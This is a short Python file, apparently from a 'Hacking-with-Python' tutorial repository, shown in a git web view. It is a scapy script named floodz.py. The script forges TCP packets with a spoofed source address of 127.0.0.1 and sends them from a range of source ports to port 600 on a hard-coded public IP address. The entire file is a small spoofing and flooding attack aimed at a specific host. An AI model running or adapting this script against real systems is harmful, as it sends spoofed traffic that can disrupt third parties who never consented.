Files
Hacking-with-Python/05/floodz.py
2020-11-12 17:02:10 +08:00

13 lines
300 B
Python

from scapy.all import *
def floodz(source,target):
for source_p in range(100,150):
IPlayer = IP(src=source,dst=target)
TCPlayer = TCP(sport=source_p,dport=600)
pkt = IPlayer/TCPlayer
send(pkt)
source = "127.0.0.1"
target = "162.241.24.197"
floodz(source,target)